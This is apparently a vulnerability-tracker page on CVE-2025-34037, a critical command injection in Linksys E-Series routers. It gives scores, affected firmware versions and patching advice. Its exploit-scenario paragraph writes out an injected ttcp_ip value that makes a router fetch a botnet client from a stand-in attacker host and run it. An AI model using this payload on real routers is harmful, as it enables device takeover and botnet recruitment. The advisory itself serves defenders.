What is the CVSS score of CVE-2025-34037?

CVE-2025-34037 has a CVSS 4.0 base score of 10.0 (Critical). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H. EPSS exploitation probability: 81.5%.

Is there a public PoC exploit available for CVE-2025-34037?

Yes, a public proof-of-concept exploit is available for CVE-2025-34037. Prioritise patching immediately. EPSS: 81.5%.

How to fix or mitigate CVE-2025-34037?

Within 24 hours: Identify all Linksys E-Series routers on the network (query SNMP/device inventory for model/firmware version). Within 7 days: Apply vendor-released patch to all affected models; if patching cannot be completed immediately, isolate affected routers from production networks or restrict port 8080 access via firewall rules. Within 30 days: Verify patch deployment across 100% of inventory and conduct network segmentation audit to prevent direct external access to router management interfaces.

Linksys CVE-2025-34037

Q: Which versions of Linksys are affected by CVE-2025-34037?

Linksys E-Series routers contain a critical unauthenticated remote code execution vulnerability (CVE-2025-34037) affecting port 8080 management interfaces, allowing attackers to gain root access…. A patch is available.

EUVD-2025-18964 CRITICAL

OS Command Injection (CWE-78)

2025-06-24 disclosure@vulncheck.com

RCE Command Injection Linksys

10.0

CVSS 4.0 · Vendor: vulncheck

View

Vulnerability Assessment

Weakness	CWE CWE-78 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization OS command sanitization, avoid shell exec MITRE ATT&CK 2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Impact	CVSS 10.0, EPSS 81.5%, PoC available. Linksys E-Series routers are widely deployed in SOHO environments. Root access to a router allows DNS hijacking, traffic interception, and use as a pivot point for attacks on internal network devices. Botnets like TheMoon and Mirai variants actively target Linksys routers.
Exploit ScenarioDerived	An attacker scans for Linksys routers with port 8080 exposed. They send a POST to /tmUnblock.cgi with ttcp_ip=;wget+attacker.com/botclient+-O+/tmp/bot;chmod+777+/tmp/bot;/tmp/bot. The router downloads and executes a botnet client, becoming part of a DDoS botnet while also intercepting all local network traffic through DNS manipulation.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.

Patch available 81.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 15, 2026

Multiple Linksys E-Series router models contain an unauthenticated OS command injection vulnerability in the /tmUnblock.cgi and /hndUnblock.cgi endpoints accessible on port 8080. The ttcp_ip parameter is passed directly to a system shell without sanitization, enabling remote root-level command execution on the router.

Earlier versions of this analysis (1)

v1 Mar 15, 2026 - 22:36 CVSS 10.0

Unauthenticated root command injection in Linksys E-Series routers via CGI endpoints on port 8080 enables full device takeover.

RemediationAI

Update router firmware to the latest version. Disable remote management on port 8080. Replace end-of-life Linksys routers with actively maintained models. Place IoT devices behind a firewall that blocks inbound management ports.

Affected VersionsENISA

E1200 v1 0 ≤1.0.04

E1550 0 ≤1.0.03

E3000 0 <1.0.06

E1000 v1 0 <2.1.03

E4200 0 <1.0.06

E3200 0 <1.0.05

E2000 0

E2100L v1 0 ≤1.0.05

E1500 v1 0 <1.0.06

E900 v1 0 <1.0.04

E2500 v1/v2 0 <2.0.00

Affected Packages

euvd e1000_v1 fix: 2.1.03

euvd e1200_v1 no fix

euvd e1500_v1 fix: 1.0.06

euvd e1550 no fix

euvd e2100l_v1 no fix

euvd e2500_v1_v2 fix: 2.0.00

euvd e3000 fix: 1.0.06

euvd e3200 fix: 1.0.05

euvd e4200 fix: 1.0.06

euvd e900_v1 fix: 1.0.04

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 10 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The tmUnblock.cgi and hndUnblock.cgi scripts process the ttcp_ip parameter by passing it directly to a system() call without input validation. Since the web server runs as root on the router, injected commands execute with full root privileges. Port 8080 hosts an alternative web interface that may be accessible remotely if remote management is enabled.

Know when Linksys gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (vulncheck) PRIMARY 10.0 CRITICAL

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (vulncheck) · only source for this CVE.

CVSS VectorVendor: vulncheck

Attack Vector

Network

Attack Complexity

Low

Attack Requirements

None

Privileges Required

None

User Interaction

None

Vulnerable system: Confidentiality

High

Vulnerable system: Integrity

High

Vulnerable system: Availability

High

Subsequent system: Confidentiality

High

Subsequent system: Integrity

High

Subsequent system: Availability

High

Lifecycle Timeline

Analysis Updated

Apr 16, 2026 - 05:53 EUVD-patch-fix

executive summary

Patch available

Apr 16, 2026 - 05:29 EUVD

1.0.06,2.1.03,1.0.05

PoC Detected

Mar 20, 2026 - 19:16 vuln.today

Public exploit code

CVE Published

Jun 24, 2025 - 01:15 nvd

CRITICAL 10.0

DescriptionCVE.org

An OS command injection vulnerability exists in various models of E-Series Linksys routers via the /tmUnblock.cgi and /hndUnblock.cgi endpoints over HTTP on port 8080. The CGI scripts improperly process user-supplied input passed to the ttcp_ip parameter without sanitization, allowing unauthenticated attackers to inject shell commands. This vulnerability is exploited in the wild by the "TheMoon" worm to deploy a MIPS ELF payload, enabling arbitrary code execution on the router. This vulnerability may affect other Linksys products to include, but not limited to, WAG/WAP/WES/WET/WRT-series router models and Wireless-N access points and routers. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-06 UTC.

Executive ViewAI

Why It Matters

Linksys E-Series routers contain a critical unauthenticated remote code execution vulnerability (CVE-2025-34037) affecting port 8080 management interfaces, allowing attackers to gain root access without credentials. Organizations deploying these routers face immediate risk of network compromise, data interception, and lateral movement into internal systems. This requires urgent inventory and patching across all affected models.

Business Impact: Severe

Compensating Controls

Apply vendor patch. Interim mitigations pending patch deployment: (1) Block external access to port 8080 at network perimeter firewall; (2) Restrict port 8080 access to authorized administrative subnets only; (3) Implement network segmentation to isolate router management traffic; (4) Monitor port 8080 for suspicious command patterns (/tmUnblock.cgi, /hndUnblock.cgi requests with shell metacharacters).

Threat Intelligence Overview

Threat Score

5.9/10

Composite threat intelligence

EPSS Score

81.5%

Top 1% exploitable

Exploit

POC

Public exploit code exists

Data Quality

7 sources

Confidence: High

EUVD

NVD

CVE.org

EPSS POC (1)

Exploit-DB

GitHub

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity CRITICAL

CISA KEV No

Public POC Yes

EPSS 81.5%

Patch available Yes

Active threat Yes

Deciding rule

CRITICAL severity + public POC available

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.